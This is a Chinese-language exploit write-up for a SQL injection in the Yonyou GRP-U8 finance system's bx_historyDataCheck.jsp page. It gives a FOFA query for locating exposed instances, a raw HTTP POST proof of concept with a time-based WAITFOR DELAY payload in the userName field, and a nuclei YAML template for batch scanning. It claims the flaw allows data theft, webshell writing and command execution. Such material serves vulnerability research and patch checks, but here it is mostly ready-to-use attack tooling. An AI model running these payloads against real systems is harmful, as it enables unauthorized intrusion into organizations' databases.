用友GRP-U8 bx_historyDataCheck.jsp SQL注入漏洞

漏洞简介

用友GRP-U8 bx_historyDataCheck.jsp存在sql注入，攻击者可利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

漏洞复现

fofa语法：app="用友-GRP-U8"
页面如下：

POC：

POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

userName='%3bWAITFOR+DELAY+'0%3a0%3a5'--%26ysnd%3d%26historyFlag%3d

nuclei批量yaml文件

id: yonyou_GRPU8_bx_historyDataCheck_sqli

info:
  name: Yonyou U8 bx_historyDataCheck - SQL Injection
  author: xianke
  severity: high
  description: |
    Yonyou U8 Grp contains a SQL injection vulnerability.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/yonyou-grp-u8-bx_historyDataChecks-sqli.yaml
    - https://github.com/MD-SEC/MDPOCS/blob/main/Yongyou_Grp_U8_bx_historyDataCheck_Sql_Poc.py
  metadata:
    verified: true
    max-request: 2
    fofa-query: icon_hash="-299520369"
  tags: yonyou,grp,sqli

http:
  - raw:
      - |
        GET /login.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userName='%3bWAITFOR+DELAY+'0%3a0%3a5'--%26ysnd%3d%26historyFlag%3d

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code == 200'
          - 'contains(content_type_2, "text/html") && contains(body_1, "GRP-U8")'
        condition: and
# digest: 4a0a00473045022100ff26707ab7b707eb63657075468f8fb5c9be2587a852c61a038cd6e74f11d80902201a654b27bab1bfb591f1d1cfd0517a439d2b61b67636eff6fac15f5091503614:922c64590222798bb761d5b6d8e72950